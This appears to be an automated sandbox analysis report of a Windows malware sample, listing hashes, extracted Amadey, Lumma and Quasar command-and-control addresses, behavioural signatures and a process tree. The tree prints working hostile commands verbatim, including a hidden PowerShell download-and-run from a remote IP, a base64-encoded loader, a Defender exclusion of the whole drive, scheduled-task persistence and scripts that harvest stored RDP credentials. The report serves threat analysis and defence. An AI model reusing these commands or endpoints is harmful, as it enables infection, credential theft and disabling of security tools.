Analysis
-
max time kernel
150s -
max time network
158s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
-
submitted
02/04/2025, 02:46
General
-
Target
2025-04-02_3ab551536c724e084f12bedd0592bd1b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
-
Size
938KB
-
MD5
3ab551536c724e084f12bedd0592bd1b
-
SHA1
8e2bceb413446a8342fe69968f23769e3d75d3ef
-
SHA256
5b5cd13c9b90336605526b2c0d55bb20bfca9edaa47b7c0ad216183094fd1208
-
SHA512
c963793fd7a3d4e5c608d1a7d99a7ba6015a23b4c0af6c0ac4236bba3339d6f9d045e0ee93833590b7748e4dfa84ecbfdddc72498f5a3a1cbac7041249e9505d
-
SSDEEP
24576:aqDEvCTbMWu7rQYlBQcBiT6rprG8a0Bu:aTvC/MTQYxsWR7a0B
Malware Config
Extracted
http://176.113.115.7/mine/random.exe
Extracted
amadey
5.21
092155
http://176.113.115.6
-
install_dir
bb556cff4a
-
install_file
rapes.exe
-
strings_key
a131b127e996a898cd19ffb2d92e481b
-
url_paths
/Ni9kiput/index.php
Extracted
lumma
https://ironloxp.live/aksdd
https://metalsyo.digital/opsa
https://anavstarx.shop/FoaJSi
https://starcloc.bet/GOksAo
https://advennture.top/GKsiio
https://targett.top/dsANGt
https://spacedbv.world/EKdlsk
https://galxnetb.today/GsuIAo
https://rodformi.run/aUosoz
https://navstarx.shop/FoaJSi
https://dmetalsyo.digital/opsa
https://-targett.top/dsANGt
https://byteplusx.digital/aXweAX
https://travewlio.shop/ZNxbHi
https://skynetxc.live/AksoPA
https://pixtreev.run/LkaUz
https://sparkiob.digital/KeASUp
https://appgridn.live/LEjdAK
https://hadvennture.top/GKsiio
https://wstarcloc.bet/GOksAo
Extracted
quasar
1.5.0
Office04
goku92ad.zapto.org:5000
a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a
-
encryption_key
BF72099FDBC6B48816529089CF1CF2CF86357D14
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Modded Client Startup
-
subdirectory
SubDir
Extracted
amadey
5.33
faec90
-
install_dir
52907c9546
-
install_file
tgvazx.exe
-
strings_key
cc9d94f7503394295f4824f8cfd50608
-
url_paths
/Di0Her478/index.php
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Amadey family
-
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
-
Lumma family
-
Modifies security service 2 TTPs 2 IoCs
-
Quasar RAT
Quasar is an open source Remote Access Tool.
-
Quasar family
-
Quasar payload 2 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
-
Blocklisted process makes network request 4 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs
Using powershell.exe command.
-
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file 17 IoCs
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Possible privilege escalation attempt 2 IoCs
-
Sets service image path in registry 2 TTPs 1 IoCs
-
Stops running service(s) 4 TTPs
-
Uses browser remote debugging 2 TTPs 7 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
-
Checks BIOS information in registry 2 TTPs 16 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
-
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Deletes itself 1 IoCs
-
Drops startup file 4 IoCs
-
Executes dropped EXE 31 IoCs
-
Identifies Wine through registry keys 2 TTPs 8 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 11 IoCs
-
Modifies file permissions 1 TTPs 2 IoCs
-
Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
Enumerates processes with tasklist 1 TTPs 22 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
-
Suspicious use of SetThreadContext 10 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 15 IoCs
-
Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
-
Launches sc.exe 38 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Program crash 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 51 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates system info in registry 2 TTPs 6 IoCs
-
Kills process with taskkill 64 IoCs
-
Modifies data under HKEY_USERS 2 IoCs
-
Modifies registry class 3 IoCs
-
NTFS ADS 1 IoCs
-
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 3 IoCs
-
Suspicious behavior: MapViewOfSection 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 8 IoCs
-
Suspicious use of SendNotifyMessage 6 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\fontdrvhost.exe"C:\Windows\System32\fontdrvhost.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\2025-04-02_3ab551536c724e084f12bedd0592bd1b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2025-04-02_3ab551536c724e084f12bedd0592bd1b_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn g0V3Zma43UM /tr "mshta C:\Users\Admin\AppData\Local\Temp\LlO6hk3Ax.hta" /sc minute /mo 25 /ru "Admin" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn g0V3Zma43UM /tr "mshta C:\Users\Admin\AppData\Local\Temp\LlO6hk3Ax.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\LlO6hk3Ax.hta2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'OG6BKZSSJQS0QWCAUT0SXU2IJFERO4EG.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\TempOG6BKZSSJQS0QWCAUT0SXU2IJFERO4EG.EXE"C:\Users\Admin\AppData\Local\TempOG6BKZSSJQS0QWCAUT0SXU2IJFERO4EG.EXE"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Downloads MZ/PE file
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\10408830101\YGYZCmt.exe"C:\Users\Admin\AppData\Local\Temp\10408830101\YGYZCmt.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10409161121\5ym0ZYg.cmd"6⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10409161121\5ym0ZYg.cmd"7⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"8⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'9⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10411030101\captcha.exe"C:\Users\Admin\AppData\Local\Temp\10411030101\captcha.exe"6⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "dxdiag /t > \"C:\Users\Admin\AppData\Local\Temp\dxdiag_temp_3429073751.txt\""7⤵
- NTFS ADS
-
-
C:\Windows\system32\net.exe"net" statistics workstation7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 statistics workstation8⤵
-
-
-
C:\Windows\system32\vaultcmd.exe"vaultcmd" /list7⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist" /FO CSV /NH7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list8⤵
-
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\certutil.exe"certutil" -store My7⤵
-
-
C:\Windows\system32\certutil.exe"certutil" -store -user My7⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-VpnConnection | ConvertTo-Json"7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "7⤵
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list7⤵
-
-
C:\Windows\system32\cmdkey.exe"cmdkey" /list:TERMSRV/69.48.201.747⤵
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exe"tasklist"7⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM msedge.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM brave.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM opera.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM Discord.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM vivaldi.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM DiscordCanary.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM firefox.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM DiscordPTB.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"taskkill" /IM dragon.exe7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
